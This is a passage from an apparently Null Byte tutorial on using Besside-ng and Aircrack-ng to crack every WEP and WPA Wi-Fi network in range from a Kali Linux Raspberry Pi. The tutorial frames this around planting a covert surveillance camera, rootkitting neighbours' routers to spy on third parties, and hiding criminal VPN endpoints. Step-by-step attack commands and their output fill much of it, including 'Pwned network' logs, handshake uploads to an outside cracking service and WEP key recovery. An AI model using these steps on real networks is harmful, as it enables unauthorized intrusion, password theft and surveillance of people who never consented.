to gain internet access for this workstation. This Kali box will set itself up, after initially being tethered while it cracks its first networks.Image by Kody/Null Byte3. Electronic Surveillance Through Router RootkittingSetups usingkismet dronesor other"flytrap-like" methods of electronic surveillanceare a great way to avoid having to drop an evil Pi from a drone β€” or even be anywhere near your target after the initial exploit.The opportunistic nature of Besside-ng allows it to build up a steady list of routers for a hackerto attempt to exploit. Once a router is successfully compromised, custom router firmware can convert a nearby neighbor's router into a device to spy on a third party's Wi-Fi usage or forward interesting packets. Criminals hackers even leave behind VPN endpoints in exploited routers to provide cover for committing crimes, framing the target, or charging other criminals to use the VPN network.Besside-ng run on a headless Raspberry Pi.Image by Kody/Null ByteAn Operation with Besside-ngTo show off some of the techniques above, we'll go over an applied scenario of using Besside-ng. However, you can follow along on any Kali Linux device or virtual machine.Our training mission will be to provide Wi-Fi coverage to support an operation in a targeted building. Doing so allows the placement and operation of a small improvised rogue device called a Buck-Eye, a Kali-based Wi-Fi-connected surveillance camera running on aRaspberry Pi Zero W.Placing a device like this allows us to do useful things like conduct visual and electronic surveillance of an area, extend VoIP coverage to places where cellular coverage may be blocked, pivot deeper into targeted systems, and perform other helpful functions.To be controlled, the device must be connected to a Wi-Fi network. After it's placed, you can control it from your long-range connection until you can migrate it to a nearby cracked network. We'll be running Besside-ng via SSH on the Buck-Eye once it is placed to grab a nearby network password.The Buck-Eye is a little rogue device that runs Kali Linux on a Pi Zero W to create an offensive spy package capable of cracking its own networks. It's so named because it provides an eye on the target without costing many bucks.Image by Kody/Null ByteSince our Buck-Eye runs Kali Linux, Besside-ng can ensure tactical network availability by scanning for and helping to build a list of backdoor Wi-Fi connections to spider through to ensure survivability in the event a primary Wi-Fi connection goes down.What You'll Need to Get StartedBesside-ng runs on Kali Linux and is particularly effective on theRaspberry Pi 3orPi Zero W. You'll need the Aircrack-ng suite to run the attack, and your Kali system should be updated by runningapt update.A Raspberry Pi Zero W setup supporting long-range WPA handshake harvesting.Image by Kody/Null ByteI'll be using aRaspberry Pi running Kali Linux. But the tool will work on any Kali Linux system β€” here are a few builds we recommend:On aRaspberry Pi 3 running Kali Linux, directly or via SSH.On aRaspberry Pi Zero W running Kali Linux.On avirtual machine running Kali Linux.On alive USB or another temporary installof Kali Linux.OurKali Linux buildis the easiest way to get started. For hardware, the only real requirement is awireless network adapter capable of packet injection. (It should be noted that our testing has found bugs when using the Atheros AR9271 chipset.)Recommended Wireless Network Adapter:Panda Wireless PAU07 N600 Dual Band Wireless N USB AdapterStep 1: Verify You Have the Aircrack-ng SuiteIn our demonstration, I will be connected to our Raspberry Pi build running Kali Linux via SSH, but this will work the same on any Kali install. First, let's make sure we have the Aircrack-ng suite updated. Typeman aircrack-ngto check if it already exists on the system.~$ man aircrack-ng AIRCRACK-NG(1) General Commands Manual AIRCRACK-NG(1) NAME aircrack-ng - a 802.11 WEP / WPA-PSK key cracker SYNOPSIS aircrack-ng [options] <input file(s)> DESCRIPTION aircrack-ng is an 802.11 WEP, 802.11i WPA/WPA2, and 802.11w WPA2 key cracking program. It can recover the WEP key once enough encrypted packets have been captured with airodump-ng. This part of the aircrack-ng suite de‐ termines the WEP key using two fundamental methods. The first method is via the PTW approach (Pyshkin, Tews, Weinmann). The main advantage of the PTW approach is that very few data packets are required to crack the WEP key. The second method is the FMS/KoreK method. The FMS/KoreK method incorporates various statistical at‐ tacks to discover the WEP key and uses these in combination with brute forcing. Additionally, the program offers a dictionary method for determin‐ ing the WEP key. For cracking WPA/WPA2 pre-shared keys, a wordlist (file or stdin) or an airolib-ng has to be used. INPUT FILES Capture files (.cap, .pcap), IVS (.ivs) or Hashcat HCCAPX files (.hccapx) OPTIONS Common options: -a <amode> Force the attack mode: 1 or wep for WEP (802.11) and 2 or wpa for WPA/WPA2 PSK (802.11i and 802.11w). -e <essid> Select the target network based on the ESSID. This option is also required for WPA cracking if the SSID is cloaked. For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spa‐ ces_double_quote_and_single_quote_etc_in_ap_names -b <bssid> or --bssid <bssid> Select the target network based on the access point MAC ad‐ dress. -p <nbcpu> Set this option to the number of CPUs to use (only avail‐ able on SMP systems) for cracking the key/passphrase. By default, it uses all available CPUs -q If set, no status information is displayed. -C <macs> or --combine <macs> Merges all those APs MAC (separated by a comma) into a vir‐ tual one. -l <file> Write the key into a file. Overwrites the file if it al‐ ready exists. Static WEP cracking options: -c Search alpha-numeric characters only. -t Search binary coded decimal characters only. -h Search the numeric key for Fritz!BOX -d <mask> or --debug <mask> Specify mask of the key. For example: A1:XX:CF -m <maddr> Only keep the IVs coming from packets that match this MAC address. Alternatively, use -m ff:ff:ff:ff:ff:ff to use all and every IVs, regardless of the network (this disables ES‐ SID and BSSID filtering). -n <nbits> Specify the length of the key: 64 for 40-bit WEP, 128 for 104-bit WEP, etc., until 512 bits of length. The default value is 128. -i <index> Only keep the IVs that have this key index (1 to 4). The default behavior is to ignore the key index in the packet, and use the IV regardless. -f <fudge> By default, this parameter is set to 2. Use a higher value to increase the bruteforce level: cracking will take more time, but with a higher likelihood of success. -k <korek> There are 17 KoreK attacks. Sometimes one attack creates a huge false positive that prevents the key from being found, even with lots of IVs. Try -k 1, -k 2, ... -k 17 to disable each attack selectively. -x or -x0 Disable last keybytes bruteforce (not advised). -x1 Enable last keybyte bruteforcing (default) -x2 Enable last two keybytes bruteforcing. -X Disable bruteforce multithreading (SMP only). -s Shows ASCII version of the key at the right of the screen. -y This is an experimental single brute-force attack which should only be used when the standard attack mode fails with more than one million IVs. -z Uses PTW (Andrei Pyshkin, Erik Tews and Ralf-Philipp Wein‐ mann) attack (default attack). -P <num> or --ptw-debug <num> PTW debug: 1 Disable klein, 2 PTW. -K Use KoreK attacks instead of PTW. -D or --wep-decloak WEP decloak mode. -1 or --oneshot Run only 1 try to crack key with PTW. -M <num> -V or --visual-inspection Run in visual inspection mode. Can only be used when using KoreK. WEP and WPA-PSK cracking options -w <words> Path to a dictionary file for wpa cracking. Separate file‐ names with comma when using multiple dictionaries. Specify "-" to use stdin. Here is a list of wordlists: https://www.aircrack- ng.org/doku.php?id=faq#where_can_i_find_good_wordlists In order to use a dictionary with hexadecimal values, prefix the dictionary with "h:". Each byte in each key must be separated by ':'. When using with WEP, key length should be specified using -n. -N <file> or --new-session <file> Create a new cracking session. It allows one to interrupt cracking session and restart at a later time (using -R or --restore-session). Status files are saved every 5 minutes. It does not overwrite existing session file. -R <file> or --restore-session <file> Restore and continue a previously saved cracking session. This parameter is to be used alone, no other parameter should be specified when starting aircrack-ng (all the re‐ quired information is in the session file). WPA-PSK options: -E <file> Create Elcomsoft Wireless Security Auditor (EWSA) Project file v3.02. -j <file> Create Hashcat v3.6+ Capture file (HCCAPX). -J <file> Create Hashcat Capture file (HCCAP). -S WPA cracking speed test. -Z <sec> WPA cracking speed test execution length in seconds. -r <database> Path to the airolib-ng database. Cannot be used with '-w'. SIMD selection: --simd=<option> Aircrack-ng automatically loads and uses the fastest opti‐ mization based on instructions available for your CPU. This options allows one to force another optimization. Choices depend on the CPU and the following are all the possibili‐ ties that may be compiled regardless of the CPU type: generic, sse2, avx, avx2, avx512, neon, asimd, altivec, power8. --simd-list Shows a list of the available SIMD architectures, separated by a space character. Aircrack-ng automatically selects the fastest optimization and thus it is rarely needed to use this option. Use case would be for testing purposes or when a "lower" optimization, such as "generic", is faster than the automatically selected one. Before forcing a SIMD ar‐ chitecture, verify that the instruction is supported by your CPU, using -u. Other options: -H or --help Show help screen -u or --cpu-detect Provide information on the number of CPUs and SIMD support AUTHOR This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian sys‐ tems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. SEE ALSO airbase-ng(8) aireplay-ng(8) airmon-ng(8) airodump-ng(8) airodump-ng-oui-update(8) airserv-ng(8) airtun-ng(8) besside-ng(8) easside-ng(8) tkiptun-ng(8) wesside-ng(8) airdecap-ng(1) airdecloak-ng(1) airolib-ng(1) besside-ng-crawler(1) buddy-ng(1) ivstools(1) kstats(1) makeivs-ng(1) packetforge-ng(1) wpaclean(1) airventriloquist(8) Version 1.6.0 January 2020 AIRCRACK-NG(1)If not, or if we want to make sure it's updated, let's run the following command.~$ sudo apt install aircrack-ng Reading package lists... Done Building dependency tree Reading state information... Done aircrack-ng is already the newest version (1:1.6-4). aircrack-ng set to manually installed. 0 upgraded, 0 newly installed, 0 to remove and 17 not upgraded.Once we confirm we have the suite and it's updated, we can proceed with the attack.Step 2: Identify Your Attack Antenna & Let It RipOn Kali Linux, you can typeiwconfigto see a list of available antennas. If you are connecting to your Kali Linux device remotely via SSH or VNC, now is a great time to note which antenna is hosting your data connection (the one with the IP address assigned).Starting Besside-ng on the wrong antenna will instantly sever your remote connection and lock you out of the device until you restart if you are connected via SSH. Here we see my attack antenna is idle while my command and control antenna is attached to a network.~$ sudo iwconfig wlan0 IEEE 802.11bgn ESSID:"β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ" Mode:Managed Frequency:2.462 GHz Access Point: β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Bit Rate=72 Mb/s Tx-Power=1496 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:on Link Quality=60/70 Signal level=50 dBm Rx invalid nvid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0 lo no wireless extensions. eth0 no wireless extensions. wlan1 IEEE 802.11bgn ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=1496 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:offIf you are not on Kali, you can runifconfigto see attached antennas and look for "wlan" to spot the wireless antennas. In this case, wlan1 is my attack antenna.Step 3: Configure Your Attack & Let's RideBesside-ng is dead simple. To learn more about it, visit it'smanpage.~$ man besside-ng BESSIDE-NG(8) System Manager's Manual BESSIDE-NG(8) NAME besside-ng - crack a WEP or WPA key without user intervention and collaborate with WPA cracking statistics SYNOPSIS besside-ng [options] <interface> DESCRIPTION besside-ng is a tool which will crack all the WEP networks in range and log all the WPA handshakes. WPA handshakes can be up‐ loaded to the online cracking service at wpa.darkircop.org. Wpa.darkircop.com also provides useful statistics based on user- submitted capture files about the feasibility of WPA cracking. -b <target mac> Specifies the target's BSSID -s <WPA server> Where to upload capture file for cracking. A good choice is wpa.darkircop.org -c <chan> Channel lock -p <pps> Packages per second to send (flood rate). -W Crack only WPA networks -v Verbose mode. Use -vv for more verbose, -vv for even more and so on. -h Help screen AUTHOR This manual page was written by David Francos Cuartero. Permis‐ sion is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On De‐ bian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. SEE ALSO airbase-ng(8) aireplay-ng(8) airmon-ng(8) airodump-ng(8) airodump-ng-oui-update(8) airserv-ng(8) airtun-ng(8) easside-ng(8) tkiptun-ng(8) wesside-ng(8) aircrack-ng(1) airdecap-ng(1) airdecloak-ng(1) airolib-ng(1) besside-ng-crawler(1) buddy-ng(1) ivstools(1) kstats(1) makeivs-ng(1) packetforge-ng(1) wpaclean(1) airventriloquist(8) Version 1.6.0 January 2020 BESSIDE-NG(8)With the attack antenna known as wlan1, simply type the following command to initiate a wide-area attack against all detected APs. While it helps to put an adapter inmonitor mode, Besside-ng will take care of that.~$ sudo besside-ng wlan1 -vv [10:07:47] mac β–ˆβ–ˆ:β–ˆβ–ˆ:β–ˆβ–ˆ:β–ˆβ–ˆ:β–ˆβ–ˆ:β–ˆβ–ˆ [10:07:47] Let's ride [10:07:47] Resuming from besside-ng [10:07:47] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 0 crypto WPA dbm 0 [10:07:47] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 0 crypto WPA dbm 0 [10:07:47] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 0 crypto WPA dbm 0 [10:07:47] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆ] chan 0 crypto WPA dbm 0 [10:07:47] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 0 crypto WPA dbm 0 [10:07:47] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 0 crypto WPA dbm 0 [10:07:47] Appending to wpa.cap [10:07:47] Appemding to wep.cap [10:07:47] Logging to besside.log [10:07:47] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 1 crypto WPA dbm -01 [10:07:47] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 2 crypto WPA dbm -04 [10:07:47] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 1 crypto WPA dbm -06 [10:07:47] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 1 crypto WPA dbm -00 [10:07:48] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 3 crypto WPA dbm -56 [10:07:48] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 4 crypto WPA dbm -79 [10:07:49] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 7 crypto WPA dbm -50 [10:07:50] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆ] chan 9 crypto WPA dbm -49 [10:07:50] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 11 crypto WPA dbm -83 [10:07:51] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 11 crypto WPA dbm -72 [10:07:51] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 1 crypto WPA dbm -59 [10:07:52] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 3 crypto WPA dbm -63 [10:07:52] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆ] chan 4 crypto WPA dbm -53 [10:07:53] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 6 crypto WPA dbm -65 [10:07:53] Found AP β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ] chan 7 crypto WPA dbm -66 [10:07:54] - Scanning chan 11Shit will proceed to hit the fan, with the script automatically throwing the wireless card into monitor mode and scanning all channels for targets. On the first run or two, you may get a "no child process" error. Just run thesudo besside-ng wlan1command again, and it will start. To see everything the script is doing, add the-vv argumentat the end. You'll see the blistering speed at which Besside-ng finds, prioritizes, pings, and attacks networks.Step 4: Clarify the Operation During Attack RunsIn a target-rich environment, Besside-ng will run continuously for days or weeks, with my current endurance record over one week of continuous attacking. While the attack runs, it will prioritize WEP networks as they can be wholly compromised from within the script. As such, Besside-ng may focus too heavily on WEP and slow down the attack. You can prevent this by only attacking WPA networks by adding the-W argumentto the command, as the help page suggests.~$ sudo besside-ng -h Besside-ng 1.6 - (C) 2010 Andrea Bittau https://www.aircrack-ng.org Usage: besside-ng [options] <interface> Options: -b <victim mac> : Victim BSSID -R <victim ap regex> : Victim ESSID regex -s <WPA server> : Upload wpa.cap for cracking -c <chan> : chanlock -p <pps> : flood rate -W : WPA only -v : verbose, -vv for more, etc. -h : This help screenThis script will, by default, scan all channels, which makes it too slow forwardrivingornull-byte.wonderhowto.com/how-to/wardrive-android-phone-map-vulnerable-networks-0176136/to capture handshakes since, by the time the master list of APs to attack is built and prioritized, you're a block away.This can be mitigated in part by adding the-c argumentand followed by a channel number to stay locked on. Doing so builds the target list much more quickly, at the expense of only attacking one channel. RunAirodump-ngto determine the best channels to lock to.If you wish to attack a particular network, you can add the-b argumentfollowed by the BSSID of the target to specify which access point you want to attack. This is useful for networks with many APs under the same name (extended service sets), which may have many identically named APs that all appear as the same Wi-Fi network. Adding this argument allows you to focus your attack on a particular AP under the umbrella of the network and make faster progress on cracking a WEP key.Step 5: Auto-Crack Passwords from WPA.cap During an AttackSoon, you will begin to gather WPA handshakes, potentially a lot of them. They will be automatically appended to thewpa.capfile, which is created in your home directory if it doesn't already exist. WEP packets are similarly saved to a file calledwep.cap, both of which can be run in Aircrack-ng to attempt to get the password.[10:52:55] Crappy connection - β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ unreachable got 0/10 (100% loss) [-85 dbm] [10:53:12] Got necessary WFA handshake info for β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ [10:53:12] Uploaded WPA handshake to wpa.darkircop.org [10:53:12] Pwned network β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ in 0:07 mins:secs [10:53:12] TO-OWN [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ]We can run these in Aircrack-ng against our own password list, but electricity is expensive, and brute-force attacks are very dull. Instead, we can use the-s argumentto specify a WPA server to upload the handshakes. This will let a distributed service likewpa.darkircop.orgcrack the passwords for us.Step 6: Auto-Crack Passwords from WEP.cap During an AttackIf Besside-ng detects a WEP network in range, it will cyberbully the hell out of it. You can open a second terminal window and begin attacking a WEP network while Besside-ng collects unique IVs Aircrack-ng needs to crack the network.In a terminal, select the network to attack by typing the following. A list of all WEP captures by Besside-ng will be displayed.~$ sudo aircrack-ng ./wep.cap Opening /Users/β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/web.cap Read 75862 packets. # BSSID ESSID Encryption 1 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (28122 IVs) 2 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (1012 IVs) 3 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WPA (0 handshake) 4 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (108 IVs) 5 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (4 IVs) 6 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WPA (0 handshake) 7 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WPA (0 handshake) 8 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (7 IVs) 9 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WPA (0 handshake) 10 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (7 IVs) 11 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WPA (0 handshake) 12 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (6 IVs) 13 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (6 IVs) 14 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (13 IVs) 15 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (19984 IVs) 16 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (22 IVs) 17 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (44 IVs) 18 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (20240 IVs) 19 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (12 IVs) 20 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (1 IVs) 21 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (1 IVs) 22 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (749 IVs) 23 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ 